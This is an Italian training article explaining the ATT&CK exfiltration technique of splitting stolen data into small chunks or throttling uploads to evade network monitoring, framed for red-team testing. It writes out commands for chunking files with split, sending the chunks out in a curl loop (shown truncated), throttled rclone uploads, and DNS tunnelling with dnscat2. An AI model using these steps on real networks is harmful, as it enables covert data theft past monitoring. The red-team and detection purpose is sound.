Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Quando un avversario ha già raccolto i dati di interesse, il problema diventa portarli fuori dalla rete senza far scattare allarmi. La tecnica Data Transfer Size Limits risolve esattamente questo: anziché trasferire file interi — operazione che genera picchi di traffico facilmente intercettabili — l'attaccante frammenta i dati in chunk di dimensione fissa o limita il bitrate della trasmissione. Pacchetti da 1500 byte, blocchi da 3 MB, query DNS con payload da 23 byte: ogni variante serve a restare sotto le soglie di alert configurate nei sistemi di monitoraggio di rete.
La tecnica si colloca nella fase di Exfiltration (TA0010), l'ultimo miglio della kill chain in cui l'attaccante concretizza l'obiettivo dell'intrusione. Il punto di forza è la semplicità: non richiede tool sofisticati né exploit, ma soltanto una logica di split e invio controllato che qualsiasi malware può implementare. Il framework la associa a 5 gruppi APT, 14 software tra malware e tool legittimi abusati, e 2 campagne documentate — numeri che confermano quanto sia diffusa e trasversale. La mitigazione primaria passa attraverso sistemi di Network Intrusion Prevention (M1031), ma la detection efficace richiede un approccio comportamentale basato su pattern ripetitivi, non su soglie statiche.
Il concetto operativo è lineare: prendi un file, spezzalo, esfiltrane i pezzi a intervalli regolari e con dimensioni che non attirino attenzione. In un engagement red team, questa tecnica serve a testare se il SOC del cliente rileva trasferimenti "lenti e costanti" rispetto a quelli volumetrici e immediati.
Il primo scenario è il più classico: split su filesystem e invio sequenziale. Su Linux, il comando split fa tutto il lavoro pesante. Supponiamo di aver raccolto un archivio da esfiltrare:
split -b 1M -d collected_data.tar.gz chunk_
Questo genera file da 1 MB ciascuno — la stessa dimensione che APT28 utilizza nelle proprie operazioni. A questo punto un semplice loop con curl e un delay tra un invio e l'altro simula il comportamento reale:
for f in chunk_; do curl -X POST -F "file=@$f"
Il delay di 30 secondi distribuisce il traffico nel tempo, rendendo il pattern meno evidente nei log NetFlow.
Su Windows, PowerShell offre tutto il necessario senza dipendenze esterne. Per spezzare un file in blocchi da 2048 byte — lo stesso chunk size usato da POSHSPY — si può usare uno script che legge il file con [IO.File]::ReadAllBytes() e lo scrive in porzioni con [IO.File]::WriteAllBytes(), iterando offset e lunghezza.
Per l'esfiltrazione via DNS — il canale più subdolo — Kessel e Helminth mostrano la strada: incapsulare i dati nei sottodomini delle query. In laboratorio, dnscat2 (open source) permette di replicare fedelmente questo scenario. Il client invia dati frammentati in query TXT o CNAME verso un server autoritativo controllato dal red team, con chunk che rispettano il limite di 63 caratteri per label DNS.
Cobalt Strike (a pagamento) implementa nativamente il chunking dei dati, ed è il tool usato nella campagna C0015. Per simulare un'esfiltrazione throttled, Rclone (open source) offre il flag --bwlimit che limita la banda — esattamente ciò che gli attori di C0015 hanno fatto. La sintassi è diretta:
rclone copy /path/to/staging remote:bucket --bwlimit 100k --transfers 1
Il parametro --transfers 1 forza un singolo stream, rendendo il traffico ancora meno appariscente. Per testare lo scenario "chunker", Rclone supporta un overlay che spezza automaticamente i file grandi in porzioni durante l'upload.
Su macOS, il test può sfruttare la creazione di un LaunchAgent che esegue periodicamente uno script di upload — scenario coerente con l'analytic AN0598, che monitora proprio i trasferimenti da processi lanciati tramite launchd.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo